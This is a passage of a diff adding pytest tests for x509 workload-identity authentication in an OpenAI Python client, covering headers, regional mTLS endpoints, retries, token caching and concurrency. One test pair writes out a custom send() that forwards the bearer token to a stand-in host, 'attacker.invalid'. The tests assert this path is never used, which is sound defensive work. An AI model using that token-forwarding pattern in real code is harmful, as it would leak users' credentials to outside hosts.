client_type(api_key="original-api-key") + headers = {"Authorization": "Bearer ambient-secret"} + explicitly_overridden = ( + original.with_options(default_headers=headers) + if header_option == "default_headers" + else original.with_options(set_default_headers=headers) + ) + + copied = explicitly_overridden.with_options(workload_identity=_identity()) + + assert httpx2.Headers(copied._custom_headers).get_list("authorization") == ["Bearer ambient-secret"] + + +@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) +def test_x509_mode_switch_discards_ambient_authorization_after_intermediate_copy( + client_type: type[OpenAI] | type[AsyncOpenAI], monkeypatch: pytest.MonkeyPatch +) -> None: + monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", "Authorization: Bearer ambient-secret") + original = client_type(api_key="original-api-key") + copied = original.with_options(timeout=2).with_options(workload_identity=_identity()) + assert not any(name.lower() == "authorization" for name in copied._custom_headers) + + +async def test_async_x509_ignores_ambient_authorization_without_changing_explicit_overrides( + monkeypatch: pytest.MonkeyPatch, +) -> None: + requests: list[httpx2.Request] = [] + monkeypatch.setenv("OPENAI_CUSTOM_HEADERS", "aUtHoRiZaTiOn: Bearer ambient-secret\nX-Custom: retained") + http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + assert (await client.models.list()).object == "list" + + assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL] + assert requests[-1].headers["Authorization"] == "Bearer access-token" + assert requests[-1].headers["X-Custom"] == "retained" + + +@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) +@pytest.mark.parametrize(("region", "expected_url"), _REGIONAL_MTLS_URLS.items()) +def test_x509_data_residency_uses_confirmed_regional_mtls_endpoints( + client_type: type[OpenAI] | type[AsyncOpenAI], region: str, expected_url: str +) -> None: + client = client_type(workload_identity=_identity(), data_residency=cast(Any, region)) + assert str(client.base_url) == expected_url + + +@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) +@pytest.mark.parametrize(("region", "expected_url"), _REGIONAL_MTLS_URLS.items()) +def test_x509_copy_uses_confirmed_regional_mtls_endpoints( + client_type: type[OpenAI] | type[AsyncOpenAI], region: str, expected_url: str +) -> None: + client = client_type(workload_identity=_identity()) + copied = client.with_options(data_residency=cast(Any, region)) + assert str(copied.base_url) == expected_url + assert str(client.base_url) == _REGIONAL_MTLS_URLS["global"] + + +@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) +def test_switching_from_provider_to_regional_x509_uses_the_mtls_endpoint( + client_type: type[OpenAI] | type[AsyncOpenAI], +) -> None: + client = client_type(provider=bedrock(region="us-east-1", api_key="bedrock-token")) + copied = client.with_options(provider=None, workload_identity=_identity(), data_residency="eu") + assert str(copied.base_url) == _REGIONAL_MTLS_URLS["eu"] + + +@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) +@pytest.mark.parametrize("region", ["global", "us", "eu"]) +@pytest.mark.parametrize("base_url_mode", ["omitted", "none", "intermediate_none"]) +def test_switching_regional_api_key_client_to_x509_preserves_residency( + client_type: type[OpenAI] | type[AsyncOpenAI], region: str, base_url_mode: str +) -> None: + original = client_type(api_key="original-api-key", data_residency=cast(Any, region)) + if base_url_mode == "intermediate_none": + original = original.with_options(base_url=None) + copied = ( + original.with_options(workload_identity=_identity(), base_url=None) + if base_url_mode == "none" + else original.with_options(workload_identity=_identity()) + ) + assert str(copied.base_url) == _REGIONAL_MTLS_URLS[region] + assert str(copied.with_options(timeout=1).base_url) == _REGIONAL_MTLS_URLS[region] + + +@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) +@pytest.mark.parametrize("region", ["global", "us", "eu"]) +@pytest.mark.parametrize("base_url_mode", ["omitted", "none", "intermediate_none"]) +def test_switching_regional_x509_client_to_api_key_preserves_residency( + client_type: type[OpenAI] | type[AsyncOpenAI], region: str, base_url_mode: str +) -> None: + original = client_type(workload_identity=_identity(), data_residency=cast(Any, region)) + if base_url_mode == "intermediate_none": + original = original.with_options(base_url=None) + copied = ( + original.with_options(api_key="replacement-api-key", base_url=None) + if base_url_mode == "none" + else original.with_options(api_key="replacement-api-key") + ) + expected_host = "api.openai.com" if region == "global" else f"{region}.api.openai.com" + assert str(copied.base_url) == f"https://{expected_host}/v1/" + assert str(copied.with_options(timeout=1).base_url) == f"https://{expected_host}/v1/" + + +@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) +def test_authentication_switch_preserves_explicit_custom_origin( + client_type: type[OpenAI] | type[AsyncOpenAI], +) -> None: + original = client_type(api_key="original-api-key", base_url="https://private.example/v1") + copied = original.with_options(workload_identity=_identity()) + assert str(copied.base_url) == "https://private.example/v1/" + + +@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) +def test_x509_rejects_data_residency_without_a_confirmed_mtls_endpoint( + client_type: type[OpenAI] | type[AsyncOpenAI], +) -> None: + with pytest.raises(OpenAIError, match="mTLS endpoint"): + client_type(workload_identity=_identity(), data_residency="ae") + + client = client_type(workload_identity=_identity()) + with pytest.raises(OpenAIError, match="mTLS endpoint"): + client.with_options(data_residency="ae") + + +@pytest.mark.parametrize("headers", [{"x-should-retry": "false"}, {"retry-after-ms": "120001"}]) +def test_sync_x509_token_exchange_honors_server_retry_refusals(headers: dict[str, str]) -> None: + requests: list[httpx2.Request] = [] + + def handler(request: httpx2.Request) -> httpx2.Response: + requests.append(request) + return httpx2.Response(503, request=request, headers=headers) + + with OpenAI( + workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler)), max_retries=2 + ) as client: + with pytest.raises(OpenAIError, match="503"): + client.models.list() + + assert len(requests) == 1 + + +@pytest.mark.parametrize("headers", [{"x-should-retry": "false"}, {"retry-after-ms": "120001"}]) +async def test_async_x509_token_exchange_honors_server_retry_refusals(headers: dict[str, str]) -> None: + requests: list[httpx2.Request] = [] + + def handler(request: httpx2.Request) -> httpx2.Response: + requests.append(request) + return httpx2.Response(503, request=request, headers=headers) + + async with AsyncOpenAI( + workload_identity=_identity(), + http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler)), + max_retries=2, + ) as client: + with pytest.raises(OpenAIError, match="503"): + await client.models.list() + + assert len(requests) == 1 + + +def test_sync_x509_honors_millisecond_retry_delay(monkeypatch: pytest.MonkeyPatch) -> None: + delays: list[float] = [] + attempts = 0 + monkeypatch.setattr(x509_auth.time, "sleep", delays.append) + + def handler(request: httpx2.Request) -> httpx2.Response: + nonlocal attempts + if str(request.url) == _TOKEN_URL: + attempts += 1 + if attempts == 1: + return httpx2.Response(429, request=request, headers={"retry-after-ms": "250"}) + return _response(request) + + with OpenAI( + workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler)) + ) as client: + assert client.models.list().object == "list" + + assert delays == [0.25] + + +async def test_async_x509_honors_millisecond_retry_delay(monkeypatch: pytest.MonkeyPatch) -> None: + delays: list[float] = [] + attempts = 0 + + async def record_sleep(delay: float) -> None: + delays.append(delay) + + monkeypatch.setattr(x509_auth.anyio, "sleep", record_sleep) + + def handler(request: httpx2.Request) -> httpx2.Response: + nonlocal attempts + if str(request.url) == _TOKEN_URL: + attempts += 1 + if attempts == 1: + return httpx2.Response(429, request=request, headers={"retry-after-ms": "250"}) + return _response(request) + + async with AsyncOpenAI( + workload_identity=_identity(), http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler)) + ) as client: + assert (await client.models.list()).object == "list" + + assert delays == [0.25] + + +@pytest.mark.parametrize("status_code", [418, 425]) +def test_sync_x509_honors_explicit_server_retry_requests(monkeypatch: pytest.MonkeyPatch, status_code: int) -> None: + def no_sleep(_delay: float) -> None: + return None + + monkeypatch.setattr(x509_auth.time, "sleep", no_sleep) + attempts = 0 + + def handler(request: httpx2.Request) -> httpx2.Response: + nonlocal attempts + if str(request.url) == _TOKEN_URL: + attempts += 1 + if attempts == 1: + return httpx2.Response(status_code, request=request, headers={"x-should-retry": "true"}) + return _response(request) + + with OpenAI( + workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler)) + ) as client: + assert client.models.list().object == "list" + + assert attempts == 2 + + +@pytest.mark.parametrize("status_code", [418, 425]) +async def test_async_x509_honors_explicit_server_retry_requests( + monkeypatch: pytest.MonkeyPatch, status_code: int +) -> None: + async def no_sleep(_delay: float) -> None: + return None + + monkeypatch.setattr(x509_auth.anyio, "sleep", no_sleep) + attempts = 0 + + def handler(request: httpx2.Request) -> httpx2.Response: + nonlocal attempts + if str(request.url) == _TOKEN_URL: + attempts += 1 + if attempts == 1: + return httpx2.Response(status_code, request=request, headers={"x-should-retry": "true"}) + return _response(request) + + async with AsyncOpenAI( + workload_identity=_identity(), http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler)) + ) as client: + assert (await client.models.list()).object == "list" + + assert attempts == 2 + + +def test_sync_x509_client_copies_keep_authentication_caches_independent() -> None: + requests: list[httpx2.Request] = [] + http_client = httpx2.Client(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + client.models.list() + copied = client.with_options(timeout=1) + sibling = client.with_options(timeout=2) + assert client._workload_identity_auth is not None + assert copied._workload_identity_auth is not None + assert sibling._workload_identity_auth is not None + assert copied._workload_identity_auth is not client._workload_identity_auth + assert sibling._workload_identity_auth is not client._workload_identity_auth + assert sibling._workload_identity_auth is not copied._workload_identity_auth + copied.models.list() + sibling.models.list() + + copied._workload_identity_auth.invalidate_token("access-token") + assert copied._workload_identity_auth._cached_token is None + assert client._workload_identity_auth._cached_token == "access-token" + assert sibling._workload_identity_auth._cached_token == "access-token" + copied.models.list() + + changed_identity = x509_workload_identity(identity_provider_id="other", service_account_id="svc_example") + client.with_options(workload_identity=changed_identity).models.list() + + exchanges = [request for request in requests if str(request.url) == _TOKEN_URL] + assert len(exchanges) == 5 + + +async def test_async_x509_client_copies_keep_authentication_caches_independent() -> None: + requests: list[httpx2.Request] = [] + http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + await client.models.list() + copied = client.with_options(timeout=1) + sibling = client.with_options(timeout=2) + assert client._workload_identity_auth is not None + assert copied._workload_identity_auth is not None + assert sibling._workload_identity_auth is not None + assert copied._workload_identity_auth is not client._workload_identity_auth + assert sibling._workload_identity_auth is not client._workload_identity_auth + assert sibling._workload_identity_auth is not copied._workload_identity_auth + await copied.models.list() + await sibling.models.list() + + copied._workload_identity_auth.invalidate_token("access-token") + assert copied._workload_identity_auth._cached_token is None + assert client._workload_identity_auth._cached_token == "access-token" + assert sibling._workload_identity_auth._cached_token == "access-token" + await copied.models.list() + + changed_identity = x509_workload_identity(identity_provider_id="other", service_account_id="svc_example") + await client.with_options(workload_identity=changed_identity).models.list() + + exchanges = [request for request in requests if str(request.url) == _TOKEN_URL] + assert len(exchanges) == 5 + + +@pytest.mark.parametrize("requestless", [False, True]) +def test_sync_x509_uses_unexpired_token_when_proactive_refresh_temporarily_fails(requestless: bool) -> None: + requests: list[httpx2.Request] = [] + exchange_count = 0 + + def handler(request: httpx2.Request) -> httpx2.Response: + nonlocal exchange_count + requests.append(request) + if str(request.url) == _TOKEN_URL: + exchange_count += 1 + if exchange_count > 1: + if requestless: + raise _RequestlessConnectError("temporary failure") + raise httpx2.ConnectError("temporary failure", request=request) + return _response(request) + + with OpenAI( + workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler)), max_retries=0 + ) as client: + client.models.list() + assert client._workload_identity_auth is not None + client._workload_identity_auth._cached_token_refresh_at_monotonic = time.monotonic() - 1 + assert client.models.list().object == "list" + client._workload_identity_auth._cached_token_expires_at_monotonic = time.monotonic() - 1 + with pytest.raises(APIConnectionError): + client.models.list() + + +@pytest.mark.parametrize("requestless", [False, True]) +async def test_async_x509_uses_unexpired_token_when_proactive_refresh_temporarily_fails(requestless: bool) -> None: + requests: list[httpx2.Request] = [] + exchange_count = 0 + + def handler(request: httpx2.Request) -> httpx2.Response: + nonlocal exchange_count + requests.append(request) + if str(request.url) == _TOKEN_URL: + exchange_count += 1 + if exchange_count > 1: + if requestless: + raise _RequestlessConnectError("temporary failure") + raise httpx2.ConnectError("temporary failure", request=request) + return _response(request) + + async with AsyncOpenAI( + workload_identity=_identity(), + http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler)), + max_retries=0, + ) as client: + await client.models.list() + assert client._workload_identity_auth is not None + client._workload_identity_auth._cached_token_refresh_at_monotonic = time.monotonic() - 1 + assert (await client.models.list()).object == "list" + client._workload_identity_auth._cached_token_expires_at_monotonic = time.monotonic() - 1 + with pytest.raises(APIConnectionError): + await client.models.list() + + +def test_sync_x509_shares_failed_proactive_refresh_across_concurrent_requests( + monkeypatch: pytest.MonkeyPatch, +) -> None: + exchange_count = 0 + count_lock = threading.Lock() + fallback_started = threading.Event() + release_fallback = threading.Event() + + def handler(request: httpx2.Request) -> httpx2.Response: + nonlocal exchange_count + if str(request.url) == _TOKEN_URL: + with count_lock: + exchange_count += 1 + current_count = exchange_count + if current_count > 1: + time.sleep(0.025) + raise httpx2.ConnectError("temporary failure", request=request) + return _response(request) + + with OpenAI( + workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler)), max_retries=0 + ) as client: + client.models.list() + auth = client._workload_identity_auth + assert isinstance(auth, x509_auth.SyncX509WorkloadIdentityAuth) + auth._cached_token_refresh_at_monotonic = time.monotonic() - 1 + fallback = auth._usable_token_after_transient_failure + + def delayed_fallback() -> str | None: + fallback_started.set() + assert release_fallback.wait(timeout=5) + return fallback() + + monkeypatch.setattr(auth, "_usable_token_after_transient_failure", delayed_fallback) + + with ThreadPoolExecutor(max_workers=6) as executor: + first = executor.submit(client.models.list) + assert fallback_started.wait(timeout=5) + waiters = [executor.submit(client.models.list) for _ in range(5)] + time.sleep(0.05) + release_fallback.set() + assert [result.result(timeout=5).object for result in [first, *waiters]] == ["list"] * 6 + + assert exchange_count == 2 + + +async def test_async_x509_shares_failed_proactive_refresh_across_concurrent_requests() -> None: + exchange_count = 0 + + async def handler(request: httpx2.Request) -> httpx2.Response: + nonlocal exchange_count + if str(request.url) == _TOKEN_URL: + exchange_count += 1 + if exchange_count > 1: + await asyncio.sleep(0.025) + raise httpx2.ConnectError("temporary failure", request=request) + return _response(request) + + async with AsyncOpenAI( + workload_identity=_identity(), + http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler)), + max_retries=0, + ) as client: + await client.models.list() + auth = client._workload_identity_auth + assert auth is not None + auth._cached_token_refresh_at_monotonic = time.monotonic() - 1 + + async def list_models() -> str: + return (await client.models.list()).object + + assert await asyncio.gather(*(list_models() for _ in range(6))) == ["list"] * 6 + + assert exchange_count == 2 + + +@pytest.mark.parametrize( + ("status_code", "headers"), + [(429, {}), (500, {}), (503, {}), (418, {"x-should-retry": "true"}), (425, {"x-should-retry": "true"})], +) +def test_sync_x509_uses_unexpired_token_when_proactive_refresh_gets_transient_status( + monkeypatch: pytest.MonkeyPatch, status_code: int, headers: dict[str, str] +) -> None: + def no_sleep(_delay: float) -> None: + return None + + monkeypatch.setattr(x509_auth.time, "sleep", no_sleep) + exchange_count = 0 + + def handler(request: httpx2.Request) -> httpx2.Response: + nonlocal exchange_count + if str(request.url) == _TOKEN_URL: + exchange_count += 1 + if exchange_count > 1: + return httpx2.Response(status_code, request=request, headers=headers) + return _response(request) + + with OpenAI( + workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler)), max_retries=2 + ) as client: + client.models.list() + assert client._workload_identity_auth is not None + client._workload_identity_auth._cached_token_refresh_at_monotonic = time.monotonic() - 1 + assert client.models.list().object == "list" + client._workload_identity_auth._cached_token_expires_at_monotonic = time.monotonic() - 1 + with pytest.raises(OpenAIError, match=str(status_code)): + client.models.list() + + +@pytest.mark.parametrize( + ("status_code", "headers"), + [(429, {}), (500, {}), (503, {}), (418, {"x-should-retry": "true"}), (425, {"x-should-retry": "true"})], +) +async def test_async_x509_uses_unexpired_token_when_proactive_refresh_gets_transient_status( + monkeypatch: pytest.MonkeyPatch, status_code: int, headers: dict[str, str] +) -> None: + async def no_sleep(_delay: float) -> None: + return None + + monkeypatch.setattr(x509_auth.anyio, "sleep", no_sleep) + exchange_count = 0 + + def handler(request: httpx2.Request) -> httpx2.Response: + nonlocal exchange_count + if str(request.url) == _TOKEN_URL: + exchange_count += 1 + if exchange_count > 1: + return httpx2.Response(status_code, request=request, headers=headers) + return _response(request) + + async with AsyncOpenAI( + workload_identity=_identity(), + http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler)), + max_retries=2, + ) as client: + await client.models.list() + assert client._workload_identity_auth is not None + client._workload_identity_auth._cached_token_refresh_at_monotonic = time.monotonic() - 1 + assert (await client.models.list()).object == "list" + client._workload_identity_auth._cached_token_expires_at_monotonic = time.monotonic() - 1 + with pytest.raises(OpenAIError, match=str(status_code)): + await client.models.list() + + +@pytest.mark.parametrize("status_code", [400, 401, 403]) +@pytest.mark.parametrize("server_requests_retry", [False, True]) +def test_sync_x509_never_falls_back_after_permanent_oauth_rejection( + status_code: int, server_requests_retry: bool +) -> None: + exchange_count = 0 + + def handler(request: httpx2.Request) -> httpx2.Response: + nonlocal exchange_count + if str(request.url) == _TOKEN_URL: + exchange_count += 1 + if exchange_count > 1: + headers = {"x-should-retry": "true"} if server_requests_retry else {} + return httpx2.Response(status_code, request=request, headers=headers, json={"error": "invalid_grant"}) + return _response(request) + + with OpenAI( + workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler)), max_retries=0 + ) as client: + client.models.list() + assert client._workload_identity_auth is not None + client._workload_identity_auth._cached_token_refresh_at_monotonic = time.monotonic() - 1 + with pytest.raises(OAuthError): + client.models.list() + + +@pytest.mark.parametrize("status_code", [400, 401, 403]) +@pytest.mark.parametrize("server_requests_retry", [False, True]) +async def test_async_x509_never_falls_back_after_permanent_oauth_rejection( + status_code: int, server_requests_retry: bool +) -> None: + exchange_count = 0 + + def handler(request: httpx2.Request) -> httpx2.Response: + nonlocal exchange_count + if str(request.url) == _TOKEN_URL: + exchange_count += 1 + if exchange_count > 1: + headers = {"x-should-retry": "true"} if server_requests_retry else {} + return httpx2.Response(status_code, request=request, headers=headers, json={"error": "invalid_grant"}) + return _response(request) + + async with AsyncOpenAI( + workload_identity=_identity(), + http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler)), + max_retries=0, + ) as client: + await client.models.list() + assert client._workload_identity_auth is not None + client._workload_identity_auth._cached_token_refresh_at_monotonic = time.monotonic() - 1 + with pytest.raises(OAuthError): + await client.models.list() + + +@pytest.mark.parametrize("timeout", [0.125, 2.5]) +def test_sync_x509_token_exchange_uses_configured_timeout(timeout: float) -> None: + requests: list[httpx2.Request] = [] + http_client = httpx2.Client(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + with OpenAI(workload_identity=_identity(), http_client=http_client, timeout=timeout, max_retries=0) as client: + client.models.list() + + assert requests[0].extensions["timeout"]["connect"] == timeout + assert requests[0].extensions["timeout"]["read"] == timeout + + +@pytest.mark.parametrize("timeout", [0.125, 2.5]) +async def test_async_x509_token_exchange_uses_configured_timeout(timeout: float) -> None: + requests: list[httpx2.Request] = [] + http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + async with AsyncOpenAI( + workload_identity=_identity(), http_client=http_client, timeout=timeout, max_retries=0 + ) as client: + await client.models.list() + + assert requests[0].extensions["timeout"]["connect"] == timeout + assert requests[0].extensions["timeout"]["read"] == timeout + + +class _UnreadableSeekability(io.BytesIO): + @override + def seekable(self) -> bool: + raise io.UnsupportedOperation("seekability metadata unavailable") + + +def test_sync_x509_still_sends_uploads_when_seekability_inspection_fails() -> None: + requests: list[httpx2.Request] = [] + + def handler(request: httpx2.Request) -> httpx2.Response: + requests.append(request) + if str(request.url) == _TOKEN_URL: + return _response(request) + return httpx2.Response(200, request=request, json={"id": "file_123", "object": "file"}) + + with OpenAI( + workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler)), max_retries=0 + ) as client: + result = client.files.create(file=("payload.txt", _UnreadableSeekability(b"payload")), purpose="assistants") + + assert result.id == "file_123" + assert len(requests) == 2 + + +async def test_async_x509_still_sends_uploads_when_seekability_inspection_fails() -> None: + requests: list[httpx2.Request] = [] + + def handler(request: httpx2.Request) -> httpx2.Response: + requests.append(request) + if str(request.url) == _TOKEN_URL: + return _response(request) + return httpx2.Response(200, request=request, json={"id": "file_123", "object": "file"}) + + async with AsyncOpenAI( + workload_identity=_identity(), + http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler)), + max_retries=0, + ) as client: + result = await client.files.create( + file=("payload.txt", _UnreadableSeekability(b"payload")), purpose="assistants" + ) + + assert result.id == "file_123" + assert len(requests) == 2 + + +@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI]) +@pytest.mark.parametrize("field", ["identity_provider_id", "service_account_id"]) +@pytest.mark.parametrize("invalid", [True, 42, {"nested": "value"}, ["value"]]) +def test_x509_rejects_non_string_identity_identifiers( + client_type: type[OpenAI] | type[AsyncOpenAI], field: str, invalid: object +) -> None: + identity = cast(X509WorkloadIdentity, {**_identity(), field: invalid}) + with pytest.raises(OpenAIError, match="identity-provider and service-account IDs"): + client_type(workload_identity=identity) + + +@pytest.mark.parametrize("replace_authorization", [False, True]) +@pytest.mark.parametrize("overlapping_tokens", [False, True]) +def test_sync_x509_pins_concurrent_reconstructed_requests_to_the_correct_identity( + replace_authorization: bool, overlapping_tokens: bool +) -> None: + arrived = threading.Barrier(2) + tokens = ( + {"one": "token", "two": "token.extended"} if overlapping_tokens else {"one": "token-one", "two": "token-two"} + ) + + def handler(request: httpx2.Request) -> httpx2.Response: + if str(request.url) == _TOKEN_URL: + identity = json.loads(request.content)["identity_provider_id"] + return _response(request, token=tokens[identity.rsplit("-", 1)[-1]]) + return _response(request) + + def replace(request: httpx2.Request) -> None: + if replace_authorization and request.headers.get("Authorization") == f"Bearer {tokens['two']}": + request.headers["Authorization"] = f"Bearer {tokens['one']}" + + class CrossThreadClient(httpx2.Client): + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + arrived.wait(timeout=5) + copied = httpx2.Request(request.method, request.url, headers=dict(request.headers)) + with ThreadPoolExecutor(max_workers=1) as executor: + return executor.submit(super().send, copied, **kwargs).result() + + transport = CrossThreadClient(transport=httpx2.MockTransport(handler), event_hooks={"request": [replace]}) + clients = [ + OpenAI( + workload_identity=x509_workload_identity(identity_provider_id=f"idp-{suffix}", service_account_id="svc"), + http_client=transport, + max_retries=0, + ) + for suffix in ("one", "two") + ] + + with ThreadPoolExecutor(max_workers=2) as executor: + requests = [executor.submit(client.models.list) for client in clients] + assert requests[0].result(timeout=5).object == "list" + if replace_authorization: + with pytest.raises(OpenAIError, match="authorization cannot be changed"): + requests[1].result(timeout=5) + else: + assert requests[1].result(timeout=5).object == "list" + + +@pytest.mark.parametrize("replace_authorization", [False, True]) +@pytest.mark.parametrize("overlapping_tokens", [False, True]) +async def test_async_x509_pins_concurrent_reconstructed_requests_to_the_correct_identity( + replace_authorization: bool, overlapping_tokens: bool +) -> None: + arrived = 0 + both_arrived = asyncio.Event() + tokens = ( + {"one": "token", "two": "token.extended"} if overlapping_tokens else {"one": "token-one", "two": "token-two"} + ) + + def handler(request: httpx2.Request) -> httpx2.Response: + if str(request.url) == _TOKEN_URL: + identity = json.loads(request.content)["identity_provider_id"] + return _response(request, token=tokens[identity.rsplit("-", 1)[-1]]) + return _response(request) + + async def replace(request: httpx2.Request) -> None: + if replace_authorization and request.headers.get("Authorization") == f"Bearer {tokens['two']}": + request.headers["Authorization"] = f"Bearer {tokens['one']}" + + class CrossContextClient(httpx2.AsyncClient): + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + nonlocal arrived + arrived += 1 + if arrived == 2: + both_arrived.set() + await asyncio.wait_for(both_arrived.wait(), timeout=5) + copied = httpx2.Request(request.method, request.url, headers=dict(request.headers)) + return await Context().run(asyncio.create_task, super().send(copied, **kwargs)) + + transport = CrossContextClient(transport=httpx2.MockTransport(handler), event_hooks={"request": [replace]}) + clients = [ + AsyncOpenAI( + workload_identity=x509_workload_identity(identity_provider_id=f"idp-{suffix}", service_account_id="svc"), + http_client=transport, + max_retries=0, + ) + for suffix in ("one", "two") + ] + + responses = await asyncio.gather(*(client.models.list() for client in clients), return_exceptions=True) + first = responses[0] + assert not isinstance(first, BaseException) + assert first.object == "list" + if replace_authorization: + assert isinstance(responses[1], OpenAIError) + assert "authorization cannot be changed" in str(responses[1]) + else: + second = responses[1] + assert not isinstance(second, BaseException) + assert second.object == "list" + + +def _record(requests: list[httpx2.Request], request: httpx2.Request) -> httpx2.Response: + requests.append(request) + return _response(request) diff --git a/tests/test_x509_workload_identity_transport.py b/tests/test_x509_workload_identity_transport.py new file mode 100644 index 0000000000..58944231cd --- /dev/null +++ b/tests/test_x509_workload_identity_transport.py @@ -0,0 +1,422 @@ +from __future__ import annotations + +from typing import Any +from typing_extensions import override + +import httpx2 +import pytest + +from openai import OpenAI, AsyncOpenAI, OpenAIError +from openai.auth import X509WorkloadIdentity, x509_workload_identity + +_TOKEN_URL = "https://mtls.auth.openai.com/oauth/token" + + +_API_URL = "https://mtls.api.openai.com/v1/models" + + +def _identity() -> X509WorkloadIdentity: + return x509_workload_identity(identity_provider_id="idp_example", service_account_id="svc_example") + + +def _response(request: httpx2.Request) -> httpx2.Response: + if str(request.url) == _TOKEN_URL: + return httpx2.Response(200, request=request, json={"access_token": "access-token", "expires_in": 3600}) + return httpx2.Response(200, request=request, json={"object": "list", "data": []}) + + +def _record(requests: list[httpx2.Request], request: httpx2.Request) -> httpx2.Response: + requests.append(request) + return _response(request) + + +@pytest.mark.parametrize("credential_location", ["path", "nested_body"]) +def test_sync_x509_never_exposes_protected_dispatch_to_custom_send(credential_location: str) -> None: + requests: list[httpx2.Request] = [] + custom_sends: list[httpx2.Request] = [] + + class ReconstructingClient(httpx2.Client): + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + custom_sends.append(request) + if request.url.host == "mtls.api.openai.com": + token = request.headers["Authorization"].removeprefix("Bearer ") + url = ( + f"https://attacker.invalid/{token}" if credential_location == "path" else "https://attacker.invalid" + ) + content = token.replace("-", "%252D").encode() if credential_location == "nested_body" else None + return self.send(httpx2.Request("POST", url, content=content), **kwargs) + return super().send(request, **kwargs) + + transport = ReconstructingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + with OpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client: + assert client.models.list().object == "list" + + assert custom_sends == [] + assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL] + + +@pytest.mark.parametrize("credential_location", ["path", "nested_body"]) +async def test_async_x509_never_exposes_protected_dispatch_to_custom_send(credential_location: str) -> None: + requests: list[httpx2.Request] = [] + custom_sends: list[httpx2.Request] = [] + + class ReconstructingClient(httpx2.AsyncClient): + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + custom_sends.append(request) + if request.url.host == "mtls.api.openai.com": + token = request.headers["Authorization"].removeprefix("Bearer ") + url = ( + f"https://attacker.invalid/{token}" if credential_location == "path" else "https://attacker.invalid" + ) + content = token.replace("-", "%252D").encode() if credential_location == "nested_body" else None + return await self.send(httpx2.Request("POST", url, content=content), **kwargs) + return await super().send(request, **kwargs) + + transport = ReconstructingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + async with AsyncOpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client: + assert (await client.models.list()).object == "list" + + assert custom_sends == [] + assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL] + + +def test_sync_x509_does_not_install_process_wide_dispatch_guards() -> None: + requests: list[httpx2.Request] = [] + original_dispatch = httpx2.Client._send_single_request + + def hook(request: httpx2.Request) -> None: + if request.url.host == "mtls.api.openai.com": + assert httpx2.Client._send_single_request is original_dispatch + assert transport.post("https://telemetry.example/collect", content=b"%41" * 1024).status_code == 200 + + transport = httpx2.Client( + transport=httpx2.MockTransport(lambda request: _record(requests, request)), event_hooks={"request": [hook]} + ) + with OpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client: + assert client.models.list().object == "list" + + assert httpx2.Client._send_single_request is original_dispatch + assert [request.url.host for request in requests] == [ + "mtls.auth.openai.com", + "telemetry.example", + "mtls.api.openai.com", + ] + + +async def test_async_x509_does_not_install_process_wide_dispatch_guards() -> None: + requests: list[httpx2.Request] = [] + original_dispatch = httpx2.AsyncClient._send_single_request + + async def hook(request: httpx2.Request) -> None: + if request.url.host == "mtls.api.openai.com": + assert httpx2.AsyncClient._send_single_request is original_dispatch + assert (await transport.post("https://telemetry.example/collect", content=b"%41" * 1024)).status_code == 200 + + transport = httpx2.AsyncClient( + transport=httpx2.MockTransport(lambda request: _record(requests, request)), event_hooks={"request": [hook]} + ) + async with AsyncOpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client: + assert (await client.models.list()).object == "list" + + assert httpx2.AsyncClient._send_single_request is original_dispatch + assert [request.url.host for request in requests] == [ + "mtls.auth.openai.com", + "telemetry.example", + "mtls.api.openai.com", + ] + + +def test_sync_x509_preserves_explicit_sni_for_custom_origins() -> None: + requests: list[httpx2.Request] = [] + + def hook(request: httpx2.Request) -> None: + request.extensions["sni_hostname"] = "private-pki.example" + + transport = httpx2.Client( + transport=httpx2.MockTransport(lambda request: _record(requests, request)), event_hooks={"request": [hook]} + ) + with 